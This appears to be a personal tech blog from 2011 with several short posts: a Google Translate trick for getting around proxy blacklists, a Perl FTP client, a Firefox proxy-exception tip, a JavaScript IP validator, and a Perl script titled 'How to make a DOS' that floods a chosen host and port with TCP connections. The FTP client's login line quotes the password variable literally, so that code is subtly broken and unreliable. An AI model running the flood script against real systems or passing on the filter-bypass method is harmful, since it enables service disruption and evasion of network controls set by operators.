Google as Web Proxy

Posted on martedì 18 ottobre 2011 by Ivano Binetti

The simplest  method used to bypass proxy blacklist filter (implemented for example on proxy squid) is to use Google Translate service which can simply become a web proxy. Let's see how this can be done:
suppose that you would like to go to ivanobinetti.com web site which is blocked by proxy blacklist. You only have to go to:

translate.google.com/translate?u=http://www.ivanobinetti.com

Be careful to select a destination language (that one in which you want to translate) different than original language. For example, if you have a english site you can select italian as destination language and, in general, you can select any language except english (which is original language).

Enjoy your new and always available web proxy.

Perl FTP client

Posted on lunedì 20 giugno 2011 by Ivano Binetti

I've written a simple FTP client in perl which allows to integrate ftp into batch scripts.

#!/usr/bin/perl
use Net::FTP;

#variables
$server = $ARGV[1];
$user = $ARGV[3];
$password = $ARGV[5];
$method = $ARGV[7];
$file = $ARGV[9];


#input control
if(@ARGV <1 || $ARGV[0] ne "-s" || $ARGV[2] ne "-u" || $ARGV[4] ne "-p" || $ARGV[6] ne "-m" || $ARGV[8] ne "-f")  {
 usage();
}


#core code
$ftp = Net::FTP->new("$server", Debug => 0)
or die "Cannot connect to $server: $@";
$ftp->login("$user",'$password')
or die "Cannot login ", $ftp->message;


if ($method eq "get") {
 $ftp->get("$file")
 or die "get failed ", $ftp->message;
}


elsif ($method eq "put") {
 $ftp->put("$file")
 or die "put failed ", $ftp->message;
}


else {
usage();
}


$ftp->quit;


#sub defined into input control code
sub usage() {
        print "[-] Usage: <". $0 ."> -s <server> -u <user> -p <password> -m <method> -f <file> \n";
        print "[-] Example: ". $0 ." -s 127.0.0.1 -u user -p password -m get -f test.txt\n";
        exit;
}

Note 1. I've used Net::FTP class/module which can be installed simply calling  "shell subroutine" with the following commands:
  1. perl -MCPAN -e shell
  2. install Net::FTP 
Note 2. As you can imagine, this scripts is only a simple example ad you can add more features to this script to adapt it to your specific context.

    Proxy Exceptions in Mozilla Firefox

    Posted on lunedì 14 marzo 2011 by Ivano Binetti

    Many times I've had problems when I tried to add a proxy exceptions into my preferred browser Mozilla Firefox.
    This morning I discovered that there was a simple mistake in my approach because Firefox does not accept - differently from IE - "wildcard" character.

    In few words:

    •  In IE you can use the expression 192.168.1.* to create an exception on all 192.168.1.0/24 network
    • In Firefox you have to use 192.168.1.0/24 to do the same thing
    With IE you can use both the expressions.

    Bye

    Validate/match IP address into a web form with Javascript

    Posted on mercoledì 19 gennaio 2011 by Ivano Binetti

    I have written this javascript function to validate an IP address (IPv4) and the netmask inside a html form:

    function checkip() {
    var ipaddress = document.getElementById("ip").value;
    var subnet = document.getElementById("netmask").value;
    var patt = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
    var match = ipaddress.match(patt);
    var match2 = subnet.match(patt);

    if (ipaddress == "0.0.0.0") {
    alert ("The IP Address field cannot be 0.0.0.0");
    return false;
    }

    if (ipaddress == "255.255.255.255") {
    alert ("The IP Address field cannot be 255.255.255.255");
    return false;
    }

    if (match == null) {
    alert ("Please review your IP Adrress!");
    return false;
    }

    if (match2 == null) {
    alert ("Please review your Subnet Mask!");
    return false;
    }

    else {
    document.getElementById("form1").submit();
    window.close();
    }
    }

    Perl - How to make a DOS

    Posted on sabato 8 gennaio 2011 by Ivano Binetti

    The purpose of this simple perl script  is to test an application to understand if it is vulnerable at DOS (Denial of Service) attacks.

    You can specify the TCP/IP number port, the ip address and the number of connections which you want send to your applications.


    #!/usr/bin/perl
    use IO::Socket;

            if (@ARGV < 1) {
                    usage();
            }

            $ip     = $ARGV[0];
            $port   = $ARGV[1];
            $conn   = $ARGV[2];

            $num    = 0;

            print "I'm sending $ARGV[2] connection requests to port $ARGV[1]\n";

            while ( $num <= $conn ) {
                    system("echo -n .");
                    $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
    "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

            close($s);
            $num++;
            }

            print "\n Your $ARGV[2] connection requests have been done !\n";

    sub usage() {
            print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
            print "[-] Example: ". $0 ." 127.0.0.1 21 1200\n";
            exit;
    }